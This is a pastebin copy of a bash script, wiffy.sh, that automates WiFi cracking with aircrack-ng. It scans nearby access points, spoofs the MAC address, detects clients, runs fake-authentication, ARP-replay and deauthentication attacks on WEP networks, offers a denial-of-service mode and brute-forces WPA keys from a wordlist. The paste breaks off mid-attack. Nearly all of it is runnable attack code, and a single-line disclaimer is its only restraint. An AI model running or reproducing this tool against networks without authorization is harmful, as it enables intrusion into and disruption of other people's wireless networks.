wiffy.sh v0.1


SUBMITTED BY: Guest

DATE: Dec. 5, 2013, 7:13 a.m.

FORMAT: Bash

SIZE: 42.0 kB

HITS: 634

  1. #!/bin/bash
  2. #----------------------------------------------------------------------------------------------#
  3. #wiffy.sh v0.1 (#5 2010-09-13) #
  4. # (C)opyright 2010 - g0tmi1k #
  5. #---License------------------------------------------------------------------------------------#
  6. # This program is free software: you can redistribute it and/or modify it under the terms #
  7. # of the GNU General Public License as published by the Free Software Foundation, either #
  8. # version 3 of the License, or (at your option) any later version. #
  9. # #
  10. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; #
  11. # without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. #
  12. # See the GNU General Public License for more details. #
  13. # #
  14. # You should have received a copy of the GNU General Public License along with this program. #
  15. # If not, see <http://www.gnu.org/licenses/>. #
  16. #---Important----------------------------------------------------------------------------------#
  17. # *** Do NOT use this for illegal or malicious use *** #
  18. #---Defaults-----------------------------------------------------------------------------------#
  19. # The interfaces you use
  20. interface="wlan0"
  21. # [crack/dos] Crack - cracks WiFi Keys, dos - blocks access to ap.
  22. mode="crack"
  23. # [random/set/false] Change the MAC address
  24. macMode="set"
  25. fakeMac="00:05:7c:9a:58:3f"
  26. # [/path/to/the/folder] The file used to brute force WPA keys.
  27. wordlist="/pentest/passwords/wordlists/wpa.txt"
  28. # [true/false] Connect to network afterwords
  29. extras="false"
  30. # [true/false] diagnostics = Creates a output file displays exactly whats going on. [0/1/2] verbose Shows more info. 0=normal, 1=more , 2=more+commands
  31. diagnostics="false"
  32. verbose="0"
  33. #---Variables----------------------------------------------------------------------------------#
  34. version="0.1 (#5)" # Version
  35. monitorInterface="mon0" # Default
  36. bssid="" # null the value
  37. essid="" # null the value
  38. channel="" # null the value
  39. client="" # null the value
  40. debug="false" # Windows don't close, shows extra stuff
  41. logFile="wiffy.log" # filename of output
  42. trap 'cleanup interrupt' 2 # Captures interrupt signal (Ctrl + C)
  43. #----Functions---------------------------------------------------------------------------------#
  44. function findAP () { #findAP
  45. action "Scanning network" "rm -f /tmp/wiffy.tmp && iwlist $interface scan > /tmp/wiffy.tmp" $verbose $diagnostics "true"
  46. #arrayESSID=( $(cat /tmp/wiffy.tmp | awk -F":" '/ESSID/{print $2}') )
  47. arrayBSSID=( $(cat /tmp/wiffy.tmp | grep "Address:" | awk '{print $5}\') )
  48. arrayChannel=( $(cat /tmp/wiffy.tmp | grep "Channel:" | tr ':' ' ' | awk '{print $2}\') )
  49. arrayProtected=( $(cat /tmp/wiffy.tmp | grep "key:" | sed 's/.*key://g') )
  50. arrayQuality=( $(cat /tmp/wiffy.tmp | grep "Quality" | sed 's/.*Quality=//g' | awk -F " " '{print $1}' ) )
  51. id=""
  52. index="0"
  53. for item in "${arrayBSSID[@]}"; do
  54. if [ "$bssid" ] && [ "$bssid" == "$item" ] ; then id="$index" ;fi
  55. command=$(cat /tmp/wiffy.tmp | sed -n "/$item/, +20p" | grep "WPA" )
  56. if [ "$command" ] ; then arrayEncryption[$index]="WPA"
  57. elif [ ${arrayProtected[$index]} == "off" ] ; then arrayEncryption[$index]="N/A"
  58. else arrayEncryption[$index]="WEP" ; fi
  59. index=$(($index+1))
  60. done
  61. #-Cheap hack to support essids with spaces in-----------------------------------------------------------
  62. cat /tmp/wiffy.tmp | awk -F":" '/ESSID/{print $2}' | sed 's/\"//' | sed 's/\(.*\)\"/\1/' > /tmp/wiffy.ssid
  63. index="0"
  64. while read line ; do
  65. if [ "$essid" ] && [ "$essid" == "$line" ] ; then id="$index" ; fi
  66. arrayESSID[$index]="$line"
  67. index=$(($index+1))
  68. done < "/tmp/wiffy.ssid"
  69. rm -f /tmp/wiffy.ssid
  70. #--------------------------------------------------------------------------------------------------------------
  71. }
  72. function findClient () { #findClient $encryption
  73. if [ -z "$1" ] ; then error="1" ; fi # Coding error
  74. if [ "$error" == "free" ] ; then
  75. client=""
  76. action "Removing temp files" "rm -f /tmp/wiffy.dump* && sleep 1" $verbose $diagnostics "true"
  77. action "airodump-ng (client(s))" "airodump-ng --bssid $bssid --channel $channel --write /tmp/wiffy.dump --output-format netxml $monitorInterface" $verbose $diagnostics "true" &
  78. sleep 3
  79. if [ "$1" == "WEP" ] || [ "$1" == "N/A" ] ; then # N/A = For MAC filtering
  80. sleep 5
  81. client=$(cat "/tmp/wiffy.dump-01.kismet.netxml" | grep "client-mac" | tr -d '\t' | sed 's/^<.*>\([^<].*\)<.*>$/\1/' | head -1)
  82. elif [ "$1" == "WPA" ] ; then
  83. while [ -z "$client" ] ; do
  84. sleep 2
  85. client=$(cat "/tmp/wiffy.dump-01.kismet.netxml" | grep "client-mac" | tr -d '\t' | sed 's/^<.*>\([^<].*\)<.*>$/\1/' | head -1)
  86. done
  87. fi
  88. if [ -z "$essid" ] ; then
  89. essid=$(cat "/tmp/wiffy.dump-01.kismet.netxml" | grep "<essid cloaked=\"false\">" | tr -d '\t' | sed 's/^<.*>\([^<].*\)<.*>$/\1/')
  90. if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display info "*hidden* essid=$essid" $diagnostics ; fi
  91. fi
  92. command=$(ps aux | grep "airodump-ng" | awk '!/grep/ && !/awk/ && !/cap/ {print $2}' | while read line; do echo -n "$line "; done | awk '{print}')
  93. if [ -n "$command" ] ; then
  94. action "Killing programs" "kill $command" $verbose $diagnostics "true"
  95. sleep 1
  96. fi
  97. action "Removing temp files" "rm -f /tmp/wiffy.dump*" $verbose $diagnostics "true"
  98. if [ "$client" == "" ] ; then client="clientless" ; fi
  99. if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display info "client=$client" $diagnostics ; fi
  100. return 0
  101. else
  102. display error "findClient. Error code: $error" $diagnostics 1>&2
  103. return 1
  104. fi
  105. }
  106. function update() { # update
  107. if [ -e "/usr/bin/svn" ] ; then
  108. display action "Checking for an update..." $diagnostics
  109. update=$(svn info http://g0tmi1k.googlecode.com/svn/trunk/wiffy/ | grep "Last Changed Rev:" |cut -c11-)
  110. if [ "$version" != "0.3 (#$update)" ] ; then
  111. display info "Updating..." $diagnostics
  112. svn export -q --force http://g0tmi1k.googlecode.com/svn/trunk/wiffy/wiffy.sh wiffy.sh
  113. display info "Updated to $update. (=" $diagnostics
  114. else
  115. display info "You're using the latest version. (=" $diagnostics
  116. fi
  117. else
  118. display info "Updating..." $diagnostics
  119. wget -nv -N http://g0tmi1k.googlecode.com/svn/trunk/wiffy/wiffy.sh
  120. display info "Updated! (=" $diagnostics
  121. fi
  122. echo
  123. exit 2
  124. }
  125. function cleanup() { # cleanup mode
  126. if [ "$1" == "nonuser" ] ; then exit 3 ; fi
  127. action "Killing xterm" "killall xterm" $verbose $diagnostics "true"
  128. if [ "$1" != "clean" ] ; then
  129. echo # Blank line
  130. if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display info "*** BREAK ***" $diagnostics ; fi # User quit
  131. fi
  132. display action "Restoring: Environment" $diagnostics
  133. command=$(ifconfig -a | grep $monitorInterface | awk '{print $1}')
  134. if [ "$command" == "$monitorInterface" ] ; then
  135. sleep 3 # Sometimes it needs to catch up/wait
  136. action "Monitor Mode (Stopping)" "airmon-ng stop $monitorInterface" $verbose $diagnostics "true"
  137. fi
  138. if [ "$debug" != "true" ] ; then
  139. command=""
  140. tmp=$(ls /tmp/wiffy-*.cap 2> /dev/null)
  141. if [ "$tmp" ] ; then command="$command /tmp/wiffy-*" ; fi
  142. tmp=$(ls /tmp/wiffy.dump*.netxml 2> /dev/null)
  143. if [ "$tmp" ] ; then command="$command /tmp/wiffy.dump*" ; fi
  144. tmp=$(ls replay_arp*.cap 2> /dev/null)
  145. if [ "$tmp" ] ; then command="$command replay_arp*.cap" ; fi
  146. if [ -e "/tmp/wiffy.key" ] ; then command="$command /tmp/wiffy.key" ; fi
  147. if [ -e "/tmp/wiffy.tmp" ] ; then command="$command /tmp/wiffy.tmp" ; fi
  148. if [ -e "/tmp/wiffy.conf" ] ; then command="$command /tmp/wiffy.conf" ; fi
  149. if [ -e "/tmp/wiffy.handshake" ] ; then command="$command /tmp/wiffy.handshake" ; fi
  150. if [ ! -z "$command" ] ; then action "Removing temp files" "rm -rfv $command" $verbose $diagnostics "true" ; fi
  151. fi
  152. echo -e "\e[01;36m[*]\e[00m Done! (= Have you... g0tmi1k?"
  153. exit 0
  154. }
  155. function help() {
  156. echo "(C)opyright 2010 g0tmi1k ~ http://g0tmi1k.blogspot.com
  157. Usage: bash wiffy.sh -i [interface] -t [interface] -m [crack/dos] -e [essid] -b [bssid]
  158. -c [mac] -w [/path/to/file] (-z / -s [mac]) -x -d (-v / -V) ([-u] [-?])
  159. Options:
  160. -i --- Internet Interface e.g. $interface
  161. -t --- Monitor Interface e.g. $monitorInterface
  162. -m --- Mode. e.g. $mode
  163. -e --- ESSID (WiFi Name)
  164. -b --- BSSID (AP MAC Address)
  165. -c --- Client that is connect to the acess point
  166. -w --- Path to Wordlist e.g. $wordlist
  167. -z --- Change interface's MAC Address e.g. $macMode
  168. -s --- Use this MAC Address e.g. $fakeMac
  169. -x --- Connect to network afterwords
  170. -d --- Diagnostics (Creates output file, $logFile)
  171. -v --- Verbose (Displays more)
  172. -V --- (Higher) Verbose (Displays more + shows commands)
  173. -u --- Update
  174. -? --- This
  175. Known issues:
  176. -WEP
  177. > Didn't detect my client
  178. + Add it in manually
  179. + Re-run the script
  180. > IV's doesn't increae
  181. + DeAuth didn't work --- Client using Windows 7?
  182. + Use a different router/client
  183. -WPA
  184. > You can ONLY crack WPA when:
  185. + The ESSID is known
  186. + The WiFi key is in the word-list
  187. + There is a connected client
  188. -Doesn't detect any/my wireless network
  189. > Don't run from a virtual machine
  190. > Driver issue - Use a different WiFi device
  191. > Try the 're[f]resh' option
  192. > Unplug WiFi device, wait, replug
  193. > You're too close/far away
  194. -\"Extras\" doesn't work
  195. > Network doesn't have a DHCP server
  196. -Slow
  197. > Try a different attack... manually!
  198. "
  199. exit 1
  200. }
  201. function action() { # action title command $verbose $diagnostics screen&file x|y|lines hold
  202. error="free"
  203. if [ -z "$1" ] || [ -z "$2" ] ; then error="1" ; fi # Coding error
  204. if [ "$error" == "free" ] ; then
  205. xterm="xterm" #Defaults
  206. command=$2
  207. x="100"
  208. y="0"
  209. lines="15"
  210. if [ "$7" == "hold" ] ; then xterm="$xterm -hold" ; fi
  211. if [ "$3" == "2" ] ; then echo "Command: $command" ; fi
  212. if [ "$4" == "true" ] ; then echo "$1~$command" >> $logFile ; fi
  213. if [ "$4" == "true" ] && [ "$5" == "true" ] ; then command="$command | tee -a $logFile" ; fi
  214. if [ ! -z "$6" ] ; then
  215. x=$(echo $6 | cut -d'|' -f1)
  216. y=$(echo $6 | cut -d'|' -f2)
  217. lines=$(echo $6 | cut -d'|' -f3)
  218. fi
  219. $xterm -geometry 100x$lines+$x+$y -T "wiffy v$version - $1" -e "$command"
  220. return 0
  221. else
  222. display error "action. Error code: $error" $diagnostics 1>&2
  223. echo -e "---------------------------------------------------------------------------------------------\n-->ERROR: action (Error code: $error): $1 , $2 , $3 , $4 , $5 , $6, $7" >> $logFile ;
  224. return 1
  225. fi
  226. }
  227. function display() { # display type message $diagnostics
  228. error="free"
  229. if [ -z "$1" ] || [ -z "$2" ] ; then error="1" ; fi # Coding error
  230. if [ "$1" != "action" ] && [ "$1" != "info" ] && [ "$1" != "diag" ] && [ "$1" != "error" ] ; then error="5"; fi # Coding error
  231. if [ "$error" == "free" ] ; then
  232. output=""
  233. if [ "$1" == "action" ] ; then output="\e[01;32m[>]\e[00m" ; fi
  234. if [ "$1" == "info" ] ; then output="\e[01;33m[i]\e[00m" ; fi
  235. if [ "$1" == "diag" ] ; then output="\e[01;34m[+]\e[00m" ; fi
  236. if [ "$1" == "error" ] ; then output="\e[01;31m[-]\e[00m" ; fi
  237. output="$output $2"
  238. echo -e "$output"
  239. if [ "$3" == "true" ] ; then
  240. if [ "$1" == "action" ] ; then output="[>]" ; fi
  241. if [ "$1" == "info" ] ; then output="[i]" ; fi
  242. if [ "$1" == "diag" ] ; then output="[+]" ; fi
  243. if [ "$1" == "error" ] ; then output="[-]" ; fi
  244. echo -e "---------------------------------------------------------------------------------------------\n$output $2" >> $logFile
  245. fi
  246. return 0
  247. else
  248. display error "display. Error code: $error" $logFile 1>&2
  249. echo -e "---------------------------------------------------------------------------------------------\n-->ERROR: display (Error code: $error): $1 , $2 , $3 " >> $logFile ;
  250. return 1
  251. fi
  252. }
  253. #----------------------------------------------------------------------------------------------#
  254. echo -e "\e[01;36m[*]\e[00m wiffy v$version"
  255. #----------------------------------------------------------------------------------------------#
  256. while getopts "i:t:m:e:b:c:w:z:s:xdvVu?" OPTIONS; do
  257. case ${OPTIONS} in
  258. i ) interface=$OPTARG;;
  259. t ) monitorInterface=$OPTARG;;
  260. m ) mode=$OPTARG;;
  261. e ) essid=$OPTARG;;
  262. b ) bssid=$OPTARG;;
  263. c ) client=$OPTARG;;
  264. w ) wordlist=$OPTARG;;
  265. z ) macMode=$OPTARG;;
  266. s ) fakeMac=$OPTARG;;
  267. x ) extras="true";;
  268. d ) diagnostics="true";;
  269. v ) verbose="1";;
  270. V ) verbose="2";;
  271. u ) update;;
  272. ? ) help;;
  273. * ) display error "Unknown option." $diagnostics 1>&2 ;; # Default
  274. esac
  275. done
  276. #----------------------------------------------------------------------------------------------#
  277. if [ "$debug" == "true" ] ; then
  278. display info "Debug mode" $diagnostics
  279. fi
  280. if [ "$diagnostics" == "true" ] ; then
  281. display diag "Diagnostics mode" $diagnostics
  282. echo -e "wiffy v$version\n$(date)" > $logFile
  283. echo "wiffy.sh" $* >> $logFile
  284. fi
  285. #----------------------------------------------------------------------------------------------#
  286. display action "Analyzing: Environment" $diagnostics
  287. #----------------------------------------------------------------------------------------------#
  288. if [ "$(id -u)" != "0" ] ; then display error "Not a superuser." $diagnostics 1>&2 ; cleanup nonuser; fi
  289. #----------------------------------------------------------------------------------------------#
  290. command=""
  291. tmp=$(ls /tmp/wiffy-*.cap 2> /dev/null)
  292. if [ "$tmp" ] ; then command="$command /tmp/wiffy-*" ; fi
  293. tmp=$(ls /tmp/wiffy.dump*.netxml 2> /dev/null)
  294. if [ "$tmp" ] ; then command="$command /tmp/wiffy.dump*" ; fi
  295. tmp=$(ls replay_arp*.cap 2> /dev/null)
  296. if [ "$tmp" ] ; then command="$command replay_arp*.cap" ; fi
  297. if [ -e "/tmp/wiffy.key" ] ; then command="$command /tmp/wiffy.key" ; fi
  298. if [ -e "/tmp/wiffy.tmp" ] ; then command="$command /tmp/wiffy.tmp" ; fi
  299. if [ -e "/tmp/wiffy.conf" ] ; then command="$command /tmp/wiffy.conf" ; fi
  300. if [ -e "/tmp/wiffy.handshake" ] ; then command="$command /tmp/wiffy.handshake" ; fi
  301. if [ ! -z "$command" ] ; then action "Removing old files" "rm -rfv $command" $verbose $diagnostics "true" ; fi
  302. #----------------------------------------------------------------------------------------------#
  303. if [ -z "$interface" ] ; then display error "interface can't be blank" $diagnostics 1>&2 ; cleanup; fi
  304. if [ -z "$monitorInterface" ] ; then display error "monitorInterface can't be blank" $diagnostics 1>&2 ; cleanup; fi
  305. if [ "$mode" != "crack" ] && [ "$mode" != "dos" ] ; then display error "mode ($mode) isn't correct" $diagnostics 1>&2 ; cleanup; fi
  306. if [ ! -e "$wordlist" ] ; then display error "There isn't a wordlist at $wordlist" $diagnostics 1>&2 ; cleanup; fi
  307. if [ "$macMode" != "random" ] && [ "$macMode" != "set" ] && [ "$macMode" != "false" ] ; then display error "macMode ($macMode) isn't correct" $diagnostics 1>&2 ; cleanup; fi
  308. if [ "$macMode" == "set" ] ; then if [ -z "$fakeMac" ] || [ ! $(echo $fakeMac | egrep "^([0-9a-fA-F]{2}\:){5}[0-9a-fA-F]{2}$") ] ; then display error "fakeMac ($fakeMac) isn't correct" $diagnostics 1>&2 ; cleanup; fi ; fi
  309. if [ "$mode" == "crack" ] && [ "$extras" != "true" ] && [ "$extras" != "false" ] ; then display error "extras ($extras) isn't correct" $diagnostics 1>&2 ; cleanup; fi
  310. if [ "$diagnostics" != "true" ] && [ "$diagnostics" != "false" ] ; then display error "diagnostics ($diagnostics) isn't correct" $diagnostics 1>&2 ; cleanup; fi
  311. if [ "$verbose" != "0" ] && [ "$verbose" != "1" ] && [ "$verbose" != "2" ] ; then display error "verbose ($verbose) isn't correct" $diagnostics 1>&2 ; cleanup; fi
  312. if [ -z "$version" ] ; then display error "version ($version) isn't correct" $diagnostics 1>&2 ; cleanup; fi
  313. if [ "$debug" != "true" ] && [ "$debug" != "false" ] ; then display error "debug ($debug) isn't correct" $diagnostics 1>&2 ; cleanup; fi
  314. if [ "$diagnostics" == "true" ] && [ -z "$logFile" ] ; then display error "logFile ($logFile) isn't correct" $diagnostics 1>&2 ; cleanup ; fi
  315. #----------------------------------------------------------------------------------------------#
  316. command=$(iwconfig $interface 2>/dev/null | grep "802.11" | cut -d" " -f1)
  317. if [ ! $command ]; then
  318. display error "$interface isn't a wireless interface." $diagnostics
  319. display info "Searching for a wireless interface" $diagnostics
  320. command=$(iwconfig 2>/dev/null | grep "802.11" | cut -d" " -f1) #| awk '!/"'"$interface"'"/'
  321. if [ $command ] ; then
  322. interface=$command
  323. display info "Found $interface" $diagnostics
  324. else
  325. display error "Couldn't find a wireless interface." $diagnostics 1>&2
  326. cleanup
  327. fi
  328. fi
  329. command=$(ifconfig -a | grep $interface | awk '{print $1}')
  330. if [ "$command" != "$interface" ] ; then
  331. display error "The wireless interface $interface, isn't correct." $diagnostics 1>&2
  332. if [ "$debug" == "true" ] ; then iwconfig; fi
  333. cleanup
  334. fi
  335. #----------------------------------------------------------------------------------------------#
  336. mac=$(macchanger --show $interface | awk -F " " '{print $3}')
  337. #----------------------------------------------------------------------------------------------#
  338. if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display action "Stopping: Programs" $diagnostics ; fi
  339. command=$(ps aux | grep $interface | awk '!/grep/ && !/awk/ && !/wiffy/ {print $2}' | while read line; do echo -n "$line "; done | awk '{print}')
  340. if [ -n "$command" ] ; then
  341. action "Killing programs" "kill $command" $verbose $diagnostics "true" # to prevent interference
  342. fi
  343. action "Killing 'Programs'" "killall wicd-client airodump-ng xterm" $verbose $diagnostics "true" # Killing "wicd-client" to prevent channel hopping
  344. action "Killing 'wicd service'" "/etc/init.d/wicd stop" $verbose $diagnostics "true" # Stopping wicd to prevent channel hopping
  345. #----------------------------------------------------------------------------------------------#
  346. action "Refreshing interface" "ifconfig $interface down && ifconfig $interface up && sleep 1" $verbose $diagnostics "true"
  347. loopMain="false"
  348. while [ "$loopMain" != "true" ] ; do
  349. findAP
  350. if [ "$id" ] ; then
  351. loopMain="true"
  352. else
  353. if [ "$essid" ] ; then display error "Couldnt find essid ($essid)" $diagnostics 1>&2 ; fi
  354. if [ "$bssid" ] ; then display error "Couldnt find bssid ($bssid)" $diagnostics 1>&2 ; fi
  355. loop=${#arrayBSSID[@]}
  356. echo -e " Num | ESSID | BSSID | Protected | Cha | Quality\n-----|------------------------|-------------------|-----------|-----|---------"
  357. for (( i=0;i<$loop;i++)); do
  358. printf ' %-2s | %-22s | %-16s | %3s (%-3s) | %-3s| %-6s\n' "$(($i+1))" "${arrayESSID[${i}]}" "${arrayBSSID[${i}]}" "${arrayProtected[${i}]}" "${arrayEncryption[${i}]}" "${arrayChannel[${i}]}" "${arrayQuality[${i}]}"
  359. done
  360. loopSub="false"
  361. while [ "$loopSub" != "true" ] ; do
  362. read -p "[~] re[s]can, re[f]resh, e[x]it or select num: "
  363. if [ "$REPLY" == "x" ] ; then cleanup clean
  364. elif [ "$REPLY" == "s" ] ; then loopSub="true" # aka do nothing
  365. elif [ "$REPLY" == "f" ] ; then action "Refreshing interface" "ifconfig $interface down && sleep 1 && ifconfig $interface up && sleep 1" $verbose $diagnostics "true" && loopSub="true" # aka do nothing
  366. elif [ -z $(echo "$REPLY" | tr -dc '[:digit:]'l) ] ; then display error "Bad input, $REPLY" $diagnostics 1>&2
  367. elif [ "$REPLY" -lt 1 ] || [ "$REPLY" -gt $loop ] ; then display error "Incorrect number, $REPLY" $diagnostics 1>&2
  368. else id="$(($REPLY-1))" ; loopSub="true" ; loopMain="true"
  369. fi
  370. done
  371. fi
  372. done
  373. essid="${arrayESSID[$id]}"
  374. bssid="${arrayBSSID[$id]}"
  375. channel="${arrayChannel[$id]}"
  376. encryption="${arrayEncryption[$id]}"
  377. #----------------------------------------------------------------------------------------------#
  378. if [ "$diagnostics" == "true" ] ; then
  379. echo "-Settings------------------------------------------------------------------------------------
  380. interface=$interface
  381. monitorInterface=$monitorInterface
  382. mode=$mode
  383. essid=$essid
  384. bssid=$bssid
  385. encryption=$encryption
  386. channel=$channel
  387. client=$client
  388. wordlist=$wordlist
  389. mac=$mac
  390. macMode=$macMode
  391. fakeMac=$fakeMac
  392. diagnostics=$diagnostics
  393. verbose=$verbose
  394. debug=$debug
  395. -Environment---------------------------------------------------------------------------------" >> $logFile
  396. display diag "Detecting: Kernal" $diagnostics
  397. uname -a >> $logFile
  398. display diag "Detecting: Hardware" $diagnostics
  399. lspci -knn >> $logFile
  400. fi
  401. if [ "$debug" == "true" ] || [ "$verbose" != "0" ] ; then
  402. display info " interface=$interface
  403. \e[01;33m[i]\e[00m monitorInterface=$monitorInterface
  404. \e[01;33m[i]\e[00m mode=$mode
  405. \e[01;33m[i]\e[00m essid=$essid
  406. \e[01;33m[i]\e[00m bssid=$bssid
  407. \e[01;33m[i]\e[00m encryption=$encryption
  408. \e[01;33m[i]\e[00m channel=$channel
  409. \e[01;33m[i]\e[00m client=$client
  410. \e[01;33m[i]\e[00m wordlist=$wordlist
  411. \e[01;33m[i]\e[00m mac=$mac
  412. \e[01;33m[i]\e[00m macMode=$macMode
  413. \e[01;33m[i]\e[00m fakeMac=$fakeMac
  414. \e[01;33m[i]\e[00m diagnostics=$diagnostics
  415. \e[01;33m[i]\e[00m verbose=$verbose
  416. \e[01;33m[i]\e[00m debug=$debug"
  417. fi
  418. #----------------------------------------------------------------------------------------------#
  419. if [ ! -e "/usr/sbin/airmon-ng" ] && [ ! -e "/usr/local/sbin/airmon-ng" ] ; then
  420. display error "aircrack-ng isn't installed." $diagnostics 1>&2
  421. read -p "[~] Would you like to try and install it? [Y/n]: " -n 1
  422. if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install aircrack-ng" "apt-get -y install aircrack-ng" $verbose $diagnostics "true" ; fi
  423. if [ ! -e "/usr/sbin/airmon-ng" ] && [ ! -e "/usr/local/sbin/airmon-ng" ] ; then
  424. display error "Failed to install aircrack-ng" $diagnostics 1>&2 ; cleanup
  425. else
  426. display info "Installed aircrack-ng" $diagnostics
  427. fi
  428. fi
  429. if [ ! -e "/usr/bin/macchanger" ] ; then
  430. display error "macchanger isn't installed." $diagnostics
  431. read -p "[~] Would you like to try and install it? [Y/n]: " -n 1
  432. if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install macchanger" "apt-get -y install macchanger" $verbose $diagnostics "true" ; fi
  433. if [ ! -e "/usr/bin/macchanger" ] ; then
  434. display error "Failed to install macchanger" $diagnostics 1>&2 ; cleanup
  435. else
  436. display info "Installed macchanger" $diagnostics
  437. fi
  438. fi
  439. #if [ "$attack" == "inject" ] ; then
  440. # if [ ! -e "/pentest/wireless/airpwn-1.4/airpwn" ] ; then
  441. # display error "airpwn isn't installed." $diagnostics
  442. # read -p "[~] Would you like to try and install it? [Y/n]: " -n 1
  443. # if [[ $REPLY =~ ^[Yy]$ ]] ; then action "Install airpwn" "apt-get -y install libnet1-dev libpcap-dev python2.4-dev libpcre3-dev libssl-dev" $verbose $diagnostics "true" ; fi
  444. # action "Install airpwn" "wget -P /tmp http://downloads.sourceforge.net/project/airpwn/airpwn/1.4/airpwn-1.4.tgz && tar -C /pentest/wireless -xvf /tmp/airpwn-1.4.tgz && rm /tmp/airpwn-1.4.tgz" $verbose $diagnostics "true"
  445. # find="#include <linux/if.h>\n#ifndef _LINUX_WIRELESS_H"
  446. # replace="#ifndef _LINUX_WIRELESS_H"
  447. # sed "s/$find/$replace/g" "/usr/include/linux/wireless.h" > "/usr/include/linux/wireless.h.new"
  448. # find="#ifndef _LINUX_WIRELESS_H"
  449. # replace="#include <linux/if.h>\n#ifndef _LINUX_WIRELESS_H"
  450. # sed "s/$find/$replace/g" "/usr/include/linux/wireless.h.new" > "/usr/include/linux/wireless.h"
  451. # rm -f "/usr/include/linux/wireless.h.new"
  452. # action "Install airpwn" "command=$(pwd) && tar -C /pentest/wireless/airpwn-1.4 -xvf /pentest/wireless/airpwn-1.4/lorcon-current.tgz && cd /pentest/wireless/airpwn-1.4/lorcon && ./configure && make && make install && cd $command" $verbose $diagnostics "true"
  453. # action "Install airpwn" "command=$(pwd) && cd /pentest/wireless/airpwn-1.4 && ./configure && make && cd $command" $verbose $diagnostics "true"
  454. # if [ ! -e "/pentest/wireless/airpwn-1.4/airpwn" ] ; then
  455. # display error "Failed to install airpwn" $diagnostics 1>&2 ; cleanup
  456. # else
  457. # display info "Installed airpwn" $diagnostics
  458. # fi
  459. # fi
  460. #fi
  461. #----------------------------------------------------------------------------------------------#
  462. display action "Configuring: Environment" $diagnostics
  463. #----------------------------------------------------------------------------------------------#
  464. if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display action "Configuring: Wireless card" $diagnostics ; fi
  465. command=$(ifconfig -a | grep $monitorInterface | awk '{print $1}')
  466. if [ "$command" == "$monitorInterface" ] ; then
  467. action "Monitor Mode (Stopping)" "airmon-ng stop $monitorInterface" $verbose $diagnostics "true"
  468. sleep 1
  469. fi
  470. action "Monitor Mode (Starting)" "airmon-ng start $interface | awk '/monitor mode enabled on/ {print \$5}' | tr -d '\011' | sed -e \"s/(monitor mode enabled on //\" | sed 's/\(.*\)./\1/' > /tmp/wiffy.tmp" $verbose $diagnostics "true"
  471. command=$(cat /tmp/wiffy.tmp)
  472. if [ "$monitorInterface" != "$command" ] ; then
  473. if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then
  474. display info "Configuring: Chaning monitorInterface to: $command" $diagnostics
  475. fi
  476. monitorInterface=$command
  477. fi
  478. command=$(ifconfig -a | grep $monitorInterface | awk '{print $1}')
  479. if [ "$command" != "$monitorInterface" ] ; then
  480. sleep 5 # Some people need to wait a little bit longer (e.g. VM), some don't. Don't force the ones that don't need it!
  481. command=$(ifconfig -a | grep $monitorInterface | awk '{print $1}')
  482. if [ "$command" != "$monitorInterface" ] ; then
  483. display error "The monitor interface $monitorInterface, isn't correct." $diagnostics 1>&2
  484. if [ "$debug" == "true" ] ; then iwconfig; fi
  485. cleanup
  486. fi
  487. fi
  488. #----------------------------------------------------------------------------------------------#
  489. if [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then
  490. display diag "Testing: Wireless Injection" $diagnostics
  491. command=$(aireplay-ng --test $monitorInterface -i $monitorInterface)
  492. if [ "$diagnostics" == "true" ] ; then echo -e $command >> $logFile ; fi
  493. if [ -z "$(echo \"$command\" | grep 'Injection is working')" ] ; then display error "$monitorInterface doesn't support packet injecting." $diagnostics 1>&2
  494. elif [ -z "$(echo \"$command\" | grep 'Found 0 APs')" ] ; then display error "Couldn't test packet injection" $diagnostics 1>&2 ;
  495. fi
  496. fi
  497. #----------------------------------------------------------------------------------------------#
  498. if [ "$macMode" != "false" ] ; then
  499. if [ "$verbose" != "0" ] || [ "$diagnostics" == "true" ] || [ "$debug" == "true" ] ; then display action "Configuring: MAC address" $diagnostics ; fi
  500. command="ifconfig $monitorInterface down &&"
  501. if [ "$macMode" == "random" ] ; then command="$command macchanger -A $monitorInterface &&"; fi
  502. if [ "$macMode" == "set" ] ; then command="$command macchanger -m $fakeMac $monitorInterface &&"; fi
  503. command="$command ifconfig $monitorInterface up"
  504. action "Configuring: MAC address" "$command" $verbose $diagnostics "true"
  505. sleep 2
  506. mac="$fakeMac"
  507. fi
  508. #----------------------------------------------------------------------------------------------#
  509. if [ "$mode" == "crack" ] ; then
  510. if [ -z "$client" ] ; then
  511. display action "Detecting: Client(s)" $diagnostics
  512. findClient $encryption
  513. fi
  514. #----------------------------------------------------------------------------------------------#
  515. display action "Starting: airodump-ng" $diagnostics
  516. action "Removing temp files" "rm -f /tmp/wiffy* && sleep 1" $verbose $diagnostics "true"
  517. action "airodump-ng" "airodump-ng --bssid $bssid --channel $channel --write /tmp/wiffy --output-format cap $monitorInterface" $verbose $diagnostics "true" "0|0|13" & # Don't wait, do the next command
  518. sleep 1
  519. #----------------------------------------------------------------------------------------------#
  520. if [ "$encryption" == "WEP" ] ; then
  521. if [ "$client" == "clientless" ] ; then
  522. display action "Attack (FakeAuth): $fakeMac" $diagnostics
  523. action "aireplay-ng (fakeauth)" "aireplay-ng --fakeauth 0 -e \"$essid\" -a $bssid -h $mac $monitorInterface" $verbose $diagnostics "true"
  524. #action "aireplay-ng (fakeauth)" "aireplay-ng --fakeauth 30 -o 1 -q 10 -e \"$essid\" -a $bssid -h $fakeMac $monitorInterface" $verbose $diagnostics "true"
  525. #if [Association successful] = then
  526. client=$mac
  527. sleep 1
  528. fi
  529. display action "Attack (ARPReplay+Deauth): $client" $diagnostics
  530. action "aireplay-ng (arpreplay)" "aireplay-ng --arpreplay -e \"$essid\" -b $bssid -h $client $monitorInterface" $verbose $diagnostics "true" "0|195|10" & # Don't wait, do the next command
  531. sleep 1
